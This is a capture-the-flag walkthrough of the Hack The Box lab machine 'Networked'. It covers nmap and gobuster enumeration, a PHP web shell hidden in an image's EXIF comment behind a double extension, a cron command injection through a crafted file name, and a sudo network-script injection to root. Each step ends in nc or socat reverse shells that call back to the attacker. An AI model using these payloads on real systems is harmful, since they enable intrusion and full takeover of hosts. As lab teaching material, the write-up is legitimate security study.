Welcome to the Networked writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k


Networked

tags: HTB Easy Linux OSCP
Platform: Hackthebox
Difficult: Easy
S.O.: Linux

Enumeration

Nmap

To get started, we run a quick open ports scan.

$ nmap -p- -T4 10.10.10.146
Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-30 17:14 CEST
Nmap scan report for 10.10.10.146
Host is up (0.11s latency).
Not shown: 65532 filtered ports
PORT    STATE  SERVICE
22/tcp  open   ssh
80/tcp  open   http
443/tcp closed https

Nmap done: 1 IP address (1 host up) scanned in 144.57 seconds

Now that we know the open ports, let's scan them in depth.

$ nmap -A -Pn -p 22,80,443 10.10.10.146
Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-30 17:17 CEST
Nmap scan report for 10.10.10.146
Host is up (0.096s latency).

PORT    STATE  SERVICE VERSION
22/tcp  open   ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
|   256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_  256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp  open   http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https
Aggressive OS guesses: Linux 3.10 - 4.11 (93%), Linux 3.2 - 4.9 (91%), Linux 4.4 (90%), Crestron XPanel control system (89%), Linux 3.16 (89%), Linux 4.10 (89%), Asus RT-AC66U WAP (89%), Linux 3.11 - 3.12 (89%), Linux 3.18 (89%), HP P2000 G3 NAS device (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 443/tcp)
HOP RTT      ADDRESS
1   95.66 ms 10.10.14.1
2   96.61 ms 10.10.10.146

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.59 seconds

Port 80

Gobuster

$ gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.146/ -x php -t 50 2>/dev/null
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.146/
[+] Threads:        50
[+] Wordlist:       /usr/share/wordlists/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
===============================================================
2021/05/01 08:39:35 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.php (Status: 403)
/backup (Status: 301)
/cgi-bin/ (Status: 403)
/index.php (Status: 200)
/lib.php (Status: 200)
/photos.php (Status: 200)
/upload.php (Status: 200)
/uploads (Status: 301)
===============================================================
2021/05/01 08:40:59 Finished
===============================================================

backup.tar

As we can see we have a backup directory available with a file called backup.tar inside. We also have a file called upload.php that allows us to upload images to the uploads directory and another file called photos.php that shows us the uploaded images.

Inside backup.tar we have a copy of the files used by the website so we can analyze how it works to try to exploit it.

If we look at the file upload.php we can see that it supports the extensions jgp, png, gif and jpeg.

list ($foo,$ext) = getnameUpload($myFile["name"]);
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
    if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
        $valid = true;
    }
}

We can also see in the file lib.php that it is checking the mime type.

function file_mime_type($file) {
    $regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/';
    if (function_exists('finfo_file')) {
        $finfo = finfo_open(FILEINFO_MIME);
        if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system
        {
            $mime = @finfo_file($finfo, $file['tmp_name']);
            finfo_close($finfo);
            if (is_string($mime) && preg_match($regexp, $mime, $matches)) {
            $file_type = $matches[1];
            return $file_type;
            }
        }
    }
    if (function_exists('mime_content_type'))
    {
        $file_type = @mime_content_type($file['tmp_name']);
        if (strlen($file_type) > 0) // It's possible that mime_content_type() returns FALSE or an empty string
        {
            return $file_type;
        }
    }
    return $file['type'];
}

Exploitation

We have to write our injection as an exif comment and rename it to contain the extension .php before .jpeg.

$ exiftool -Comment='<?php system("nc 10.10.14.9 8787 -e /bin/bash");?>' hatchet.jpeg
$ mv hatchet-shell.jpeg hatchet-shell.php.jpeg

Now with a terminal listening we access photos.php and we receive our shell!.

$ nc -lnvp 8787
listening on [any] 8787 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.146] 58332
id
uid=48(apache) gid=48(apache) groups=48(apache)

Post exploitation

Privilege escalation: apache to guly

Enumeration

<?php
    require '/var/www/html/lib.php';
    $path = '/var/www/html/uploads/';
    $logpath = '/tmp/attack.log';
    $to = 'guly';
    $msg= '';
    $headers = "X-Mailer: check_attack.php\r\n";

    $files = array();
    $files = preg_grep('/^([^.])/', scandir($path));

    foreach ($files as $key => $value) {
        $msg='';
        if ($value == 'index.html') {
            continue;
        }
        #echo "-------------\n";

        #print "check: $value\n";
        list ($name,$ext) = getnameCheck($value);
        $check = check_ip($name,$value);

        if (!($check[0])) {
            echo "attack!\n";
            # todo: attach file
            file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

            exec("rm -f $logpath");
            exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
            echo "rm -f $path$value\n";
            mail($to, $msg, $msg, $headers, "-F$value");
        }
    }

?>
*/3 * * * * php /home/guly/check_attack.php

Exploitation

As we can see, check_attack.php is executed every 3 minutes looking for any file that does not contain a valid ip as a name inside /var/www/html/uploads/ and if it is found it makes a call to the system command /bin/rm using exec() to remove it.
Knowing this, we can create a file with a revershe shell as the name and a ; so that when executing the exec() function, the system detects the ; as the end of the /bin/rm command and executes a new one. which will be our shell.

So we put a terminal listening and create our file with the reverse shell as the name and wait for the task to run.

bash-4.2$ touch 'shell.txt; socat TCP:10.10.14.9:8788 EXEC:sh'
$ nc -lnvp 8788
listening on [any] 8788 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.146] 49250
id
uid=1000(guly) gid=1000(guly) groups=1000(guly)

And after a few minutes ... we are guly and we can read your flag!

[guly@networked ~]$ ls
check_attack.php  crontab.guly  user.txt
[guly@networked ~]$ cat user.txt 
CENSORED_FLAG

Privilege escalation: guly to root

Enumeration

Sudo

The user guly can execute the script /usr/local/sbin/changename.sh as root without password.

[guly@networked ~]$ sudo -l
Matching Defaults entries for guly on networked:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User guly may run the following commands on networked:
    (root) NOPASSWD: /usr/local/sbin/changename.sh
[guly@networked ~]$

changename.sh

#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
    echo "interface $var:"
    read x
    while [[ ! $x =~ $regexp ]]; do
        echo "wrong input, try again"
        echo "interface $var:"
        read x
    done
    echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done

/sbin/ifup guly0

Great, we are going to indicate a test file as parameters to see what it responds to us.

[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
interface NAME:
sh /tmp/test
interface PROXY_METHOD:
sh /tmp/test
interface BROWSER_ONLY:
sh /tmp/test
interface BOOTPROTO:
sh /tmp/test
/etc/sysconfig/network-scripts/ifcfg-guly: line 4: /tmp/test: No such file or directory
/etc/sysconfig/network-scripts/ifcfg-guly: line 5: /tmp/test: No such file or directory
/etc/sysconfig/network-scripts/ifcfg-guly: line 6: /tmp/test: No such file or directory
/etc/sysconfig/network-scripts/ifcfg-guly: line 7: /tmp/test: No such file or directory
/etc/sysconfig/network-scripts/ifcfg-guly: line 4: /tmp/test: No such file or directory
/etc/sysconfig/network-scripts/ifcfg-guly: line 5: /tmp/test: No such file or directory
/etc/sysconfig/network-scripts/ifcfg-guly: line 6: /tmp/test: No such file or directory
/etc/sysconfig/network-scripts/ifcfg-guly: line 7: /tmp/test: No such file or directory
ERROR     : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.

Exploitation

Perfect, when you run it you want to open the file that we use as parameters. Let's create a script with a reverse shell inside and run it again with a listening terminal!

[guly@networked ~]$ echo -e "socat TCP:10.10.14.9:8789 EXEC:sh" > /tmp/shell; chmod 777 /tmp/shell
[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
interface NAME:
sh /tmp/shell
interface PROXY_METHOD:
sh /tmp/shell
interface BROWSER_ONLY:
sh /tmp/shell
interface BOOTPROTO:
sh /tmp/shell

And we have root !!

$ nc -lnvp 8789
listening on [any] 8789 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.146] 51542
id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
CENSORED_FLAG